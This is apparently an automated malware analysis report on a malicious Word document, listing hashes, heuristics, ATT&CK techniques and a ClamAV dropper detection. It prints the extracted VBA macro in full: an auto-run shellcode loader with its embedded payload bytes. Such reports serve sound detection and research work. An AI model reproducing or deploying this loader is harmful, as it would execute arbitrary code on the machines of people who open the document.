Office (OLE) malware analysis — malicious · 1f5d12f6b214171d

MALICIOUS

Office (OLE)

33.5 KB Created: 2014-03-28 17:12:00 Authoring application: Microsoft Office Word First seen: 2020-06-01

MD5: 81c5bd947598567f66dcd2c90f787fca SHA-1: 343689e4c25ff19ebeaaae8d6219b647bb8726db SHA-256: 1f5d12f6b214171dc820377f31a14d3d9b8b4e19f02cf706e7cb813b4cdbb0cf

206 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample contains VBA macros and triggers a critical heuristic for CVE-2007-3899, a memory corruption vulnerability in Microsoft Word. The VBA code references VirtualAlloc and CreateThread APIs, indicating an attempt to allocate memory and execute shellcode. The AutoOpen macro is present, suggesting it executes upon document opening. The ClamAV detection also confirms its malicious nature as a dropper.

Heuristics 9

CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899

Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC

Reference to VirtualAlloc API
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
End Sub
Sub AutoOpen()
    Auto_Open
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
End Sub
Sub Workbook_Open()
    Auto_Open
```

Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro

Matched line in script

Sub Auto_Open()
    Dim Kmdwsof As Long, Ktsq As Variant, Odhaixk As Long

Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3395 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	3395 bytes
SHA-256: `8d62c280f7527472c0a61587b77f3ff18484f96938cc5ac93d8afaf8fb199da6`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True #If VBA7 Then Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Mxsyzcdiy As Long, ByVal Hikntd As Long, ByVal Xmutgl As LongPtr, Nwyfaoaj As Long, ByVal Prtwhosxw As Long, Pll As Long) As LongPtr Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Gsbg As Long, ByVal Xvhnfilsp As Long, ByVal Ceyepz As Long, ByVal Gawghm As Long) As LongPtr Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Izqim As LongPtr, ByRef Hueknfs As Any, ByVal Frbkgslm As Long) As LongPtr #Else Private Declare Function CreateThread Lib "kernel32" (ByVal Mxsyzcdiy As Long, ByVal Hikntd As Long, ByVal Xmutgl As Long, Nwyfaoaj As Long, ByVal Prtwhosxw As Long, Pll As Long) As Long Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Gsbg As Long, ByVal Xvhnfilsp As Long, ByVal Ceyepz As Long, ByVal Gawghm As Long) As Long Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Izqim As Long, ByRef Hueknfs As Any, ByVal Frbkgslm As Long) As Long #End If Sub Auto_Open() Dim Kmdwsof As Long, Ktsq As Variant, Odhaixk As Long #If VBA7 Then Dim Tntqwc As LongPtr, Jasfvct As LongPtr #Else Dim Tntqwc As Long, Jasfvct As Long #End If Ktsq = Array(53, 161, 83, 87, 221, 197, 217, 116, 36, 244, 93, 49, 201, 177, 73, 49, 125, 20, 3, 125, _ 20, 131, 197, 4, 215, 84, 175, 191, 158, 151, 80, 64, 192, 30, 181, 113, 210, 69, 189, 32, _ 226, 14, 147, 200, 137, 67, 0, 90, 255, 75, 39, 235, 181, 173, 6, 236, 120, 114, 196, 46, _ 27, 14, 23, 99, 251, 47, 216, 118, 250, 104, 5, 120, 174, 33, 65, 43, 94, 69, 23, 240, _ 95, 137, 19, 72, 39, 172, 228, 61, 157, 175, 52, 237, 170, 248, 172, 133, 244, 216, 205, 74, _ 231, 37, 135, 231, 211, 222, 22, 46, 42, 30, 41, 14, 224, 33, 133, 131, 249, 102, 34, 124, _ 140, 156, 80, 1, 150, 102, 42, 221, 19, 123, 140, 150, 131, 95, 44, 122, 85, 43, 34, 55, _ 18, 115, 39, 198, 247, 15, 83, 67, 246, 223, 213, 23, 220, 251, 190, 204, 125, 93, 27, 162, _ 130, 189, 195, 27, 38, 181, 230, 72, 80, 148, 110, 188, 110, 39, 111, 170, 249, 84, 93, 117, _ 81, 243, 237, 254, 127, 4, 17, 213, 199, 154, 236, 214, 55, 178, 42, 130, 103, 172, 155, 171, _ 236, 44, 35, 126, 162, 124, 139, 209, 2, 45, 107, 130, 234, 39, 100, 253, 10, 72, 174, 150, _ 160, 178, 57, 89, 156, 51, 57, 49, 222, 75, 43, 158, 87, 173, 33, 14, 49, 101, 222, 183, _ 24, 253, 127, 55, 183, 123, 191, 179, 59, 123, 14, 52, 54, 111, 231, 180, 13, 205, 174, 203, _ 184, 120, 79, 94, 70, 43, 24, 246, 68, 10, 110, 89, 183, 121, 228, 80, 45, 194, 147, 156, _ 161, 194, 99, 203, 171, 194, 11, 171, 143, 144, 46, 180, 26, 133, 226, 33, 164, 252, 87, 225, _ 204, 2, 129, 197, 83, 252, 228, 215, 168, 43, 193, 93, 216, 89, 33, 158) Tntqwc = VirtualAlloc(0, UBound(Ktsq), &H1000, &H40) For Odhaixk = LBound(Ktsq) To UBound(Ktsq) Kmdwsof = Ktsq(Odhaixk) Jasfvct = RtlMoveMemory(Tntqwc + Odhaixk, Kmdwsof, 1) Next Odhaixk Jasfvct = CreateThread(0, 0, Tntqwc, 0, 0, 0) End Sub Sub AutoOpen() Auto_Open End Sub Sub Workbook_Open() Auto_Open End Sub

SHA-256: 8d62c280f7527472c0a61587b77f3ff18484f96938cc5ac93d8afaf8fb199da6

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Mxsyzcdiy As Long, ByVal Hikntd As Long, ByVal Xmutgl As LongPtr, Nwyfaoaj As Long, ByVal Prtwhosxw As Long, Pll As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Gsbg As Long, ByVal Xvhnfilsp As Long, ByVal Ceyepz As Long, ByVal Gawghm As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Izqim As LongPtr, ByRef Hueknfs As Any, ByVal Frbkgslm As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Mxsyzcdiy As Long, ByVal Hikntd As Long, ByVal Xmutgl As Long, Nwyfaoaj As Long, ByVal Prtwhosxw As Long, Pll As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Gsbg As Long, ByVal Xvhnfilsp As Long, ByVal Ceyepz As Long, ByVal Gawghm As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Izqim As Long, ByRef Hueknfs As Any, ByVal Frbkgslm As Long) As Long
#End If

Sub Auto_Open()
    Dim Kmdwsof As Long, Ktsq As Variant, Odhaixk As Long
#If VBA7 Then
    Dim Tntqwc As LongPtr, Jasfvct As LongPtr
#Else
    Dim Tntqwc As Long, Jasfvct As Long
#End If
    Ktsq = Array(53, 161, 83, 87, 221, 197, 217, 116, 36, 244, 93, 49, 201, 177, 73, 49, 125, 20, 3, 125, _
20, 131, 197, 4, 215, 84, 175, 191, 158, 151, 80, 64, 192, 30, 181, 113, 210, 69, 189, 32, _
226, 14, 147, 200, 137, 67, 0, 90, 255, 75, 39, 235, 181, 173, 6, 236, 120, 114, 196, 46, _
27, 14, 23, 99, 251, 47, 216, 118, 250, 104, 5, 120, 174, 33, 65, 43, 94, 69, 23, 240, _
95, 137, 19, 72, 39, 172, 228, 61, 157, 175, 52, 237, 170, 248, 172, 133, 244, 216, 205, 74, _
231, 37, 135, 231, 211, 222, 22, 46, 42, 30, 41, 14, 224, 33, 133, 131, 249, 102, 34, 124, _
140, 156, 80, 1, 150, 102, 42, 221, 19, 123, 140, 150, 131, 95, 44, 122, 85, 43, 34, 55, _
18, 115, 39, 198, 247, 15, 83, 67, 246, 223, 213, 23, 220, 251, 190, 204, 125, 93, 27, 162, _
130, 189, 195, 27, 38, 181, 230, 72, 80, 148, 110, 188, 110, 39, 111, 170, 249, 84, 93, 117, _
81, 243, 237, 254, 127, 4, 17, 213, 199, 154, 236, 214, 55, 178, 42, 130, 103, 172, 155, 171, _
236, 44, 35, 126, 162, 124, 139, 209, 2, 45, 107, 130, 234, 39, 100, 253, 10, 72, 174, 150, _
160, 178, 57, 89, 156, 51, 57, 49, 222, 75, 43, 158, 87, 173, 33, 14, 49, 101, 222, 183, _
24, 253, 127, 55, 183, 123, 191, 179, 59, 123, 14, 52, 54, 111, 231, 180, 13, 205, 174, 203, _
184, 120, 79, 94, 70, 43, 24, 246, 68, 10, 110, 89, 183, 121, 228, 80, 45, 194, 147, 156, _
161, 194, 99, 203, 171, 194, 11, 171, 143, 144, 46, 180, 26, 133, 226, 33, 164, 252, 87, 225, _
204, 2, 129, 197, 83, 252, 228, 215, 168, 43, 193, 93, 216, 89, 33, 158)

    Tntqwc = VirtualAlloc(0, UBound(Ktsq), &H1000, &H40)
    For Odhaixk = LBound(Ktsq) To UBound(Ktsq)
        Kmdwsof = Ktsq(Odhaixk)
        Jasfvct = RtlMoveMemory(Tntqwc + Odhaixk, Kmdwsof, 1)
    Next Odhaixk
    Jasfvct = CreateThread(0, 0, Tntqwc, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.